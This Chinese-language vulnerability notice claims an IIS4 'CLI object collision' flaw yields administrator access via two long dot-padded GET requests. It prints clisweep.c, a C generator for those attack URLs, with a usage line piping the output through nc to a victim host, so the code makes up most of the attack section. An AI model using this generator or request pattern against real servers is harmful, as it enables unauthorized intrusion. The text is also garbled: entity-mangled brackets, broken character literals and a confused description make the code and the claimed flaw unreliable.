导读-- 由于CLI对象对于来自客户端动态预授权请求存在安全问题，在自身执行过程中，操作状态保持原来特性。`object collision`漏洞可能导致系统安全受到威胁。该漏洞可以导致攻击者通过配置object kit来活得administrator权限……
� 洞 描 述:
由于CLI对象对于来自客户端动态预授权请求存在安全问题，在自身执行过程中，操作状态保持原来特性。`object
collision`漏洞可能导致系统安全受到威胁。该漏洞可以导致攻击者通过配置object kit来活得administrator权限。
发送请求 #1:
http://www.victim.com/.....大约518个字符.../
发送请求 #2:
http://www.victim.com/.....大约260个字符.../
漏洞检测程序如下：
/*
** clisweep.c by shinex (efnet)
** Quick generator for IIS4 CLI extension vuln URLs.
**
** $ (./clisweep $#@60;cli object$#@62; ; cat) | nc www.victim.com
80
** OK. This code is buggy, because I mistakingly thought
** that both requests would be delivered without having
** to restart netcat. I cant code network apps. Sorry.
**
*/
#include $#@60;stdio.h$#@62;
#include $#@60;string.h$#@62;
#include $#@60;unistd.h$#@62;
#define DOT1 518
#define DOT2 260
#define THRESHOLD 15
#define RANDFILE "AABBCC"
char *gendots(int);
char *calc(char *);
int main(int argc, char *argv[])
{
char req1[1024], req2[1024];
if(argc != 2)
{
fprintf(stderr, "Usage: %s $#@60;cli object$#@62;\n",
*argv);
return -1;
}
sprintf(req1, "GET /%s/%s", gendots(DOT1), argv[1]);
sprintf(req2, "GET /%s/%s", gendots(DOT2), calc(argv[1]));
#ifdef SCRIPTKIDPROTECTION
printf("%s\n\n", req1);
sleep(THRESHOLD);
printf("%s\n\n", req2);
#endif
return 0;
}
char *gendots(int num)
{
int i;
static char dots[1024];
char *ptr = dots;
for(i = 0; i $#@60; num; i++)
*ptr++ = .;
return dots;
}
char *calc(char *arg)
{
static char file[1024];
char *ptr;
ptr = strrchr(arg, .);
*ptr = \0; /* no error checks */
sprintf(file, "%s.%s", RANDFILE, arg);
return file;
}
相关文章